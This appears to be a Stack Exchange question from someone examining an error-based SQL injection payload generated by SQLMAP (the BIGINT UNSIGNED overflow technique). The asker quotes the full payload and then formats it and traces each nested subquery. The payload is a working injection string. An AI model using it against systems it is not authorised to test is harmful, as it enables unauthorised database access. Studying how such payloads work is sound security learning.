title: What does this SQL query in this SQLMAP payload do?
body: <p>I am trying <em>Error Based SQL injection</em> technique using <a href="http://sqlmap.org/" rel="nofollow noreferrer">SQLMAP</a>. The technique as identified by SQLMAP is </p>
  
  <blockquote>
    <p>error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</p>
  </blockquote>
  
  <p>It will be great if someone can help give some clarity on the payload SQLMAP is using.</p>
  
  <pre><code>Payload: web/test?abc='' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- pprs
  </code></pre>
  
  <p>More specifically, what is happening in this SQL query </p>
  
  <pre><code>(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b626b71,(SELECT (ELT(9092=9092,1))),0x71626b7071,0x78))s), 8446744073709551610, 8446744073709551610))) 
  </code></pre>
  
  <p><strong>Update1:</strong></p>
  
  <p>The formatted query looks like this:</p>
  
  <pre><code>SELECT
     2*(IF((
     SELECT
        * 
     FROM
        (
           SELECT
              CONCAT(0x716b626b71, 
              (
                 SELECT
  (ELT(9092 = 9092, 1))
              )
  , 0x71626b7071, 0x78)
        )
        s), 8446744073709551610, 8446744073709551610))
  </code></pre>
  
  <p><code>SELECT (ELT(9092 = 9092, 1))</code> : Query output is 1 as <code>9092=9092</code> results to true(i.e 1) and ELT function returns the 1st argument i.e is 1</p>
  
  <p>So the next sub-query is :
  <code>SELECT CONCAT(0x716b626b71, 1, 0x71626b7071, 0x78)</code>  : Query Output results to concatenated string "qkbkq1qbkpqx" (after converting the hex to string)</p>
  
  <p>However, the resultant sub-query <code>SELECT * FROM qkbkq1qbkpqx</code> gives an error saying <code>Every derived table must have its own alias</code></p>
  
  <p><strong>Update2:</strong></p>
  
  <p>I missed the alias in the query as @tcadidot0 mentioned. So now the resultant sub-query is :
  <code>SELECT * FROM qkbkq1qbkpqx s</code></p>
  
  <p>And the final query is:
  <code>SELECT 2*(IF((SELECT * FROM qkbkq1qbkpqx s), 8446744073709551610, 8446744073709551610))</code></p>
  
  <p>If the table "qkbkq1qbkpqx" exists, then it returns <code>8446744073709551610</code> else it returns <code>8446744073709551610</code>, however 2 times the result leads to this error : <code>BIGINT value is out of range in '(2 * if((1 &gt; 0),8446744073709551610,8446744073709551610))</code>, assuming <code>1&gt;0</code> is the condition instead of the select statement.</p>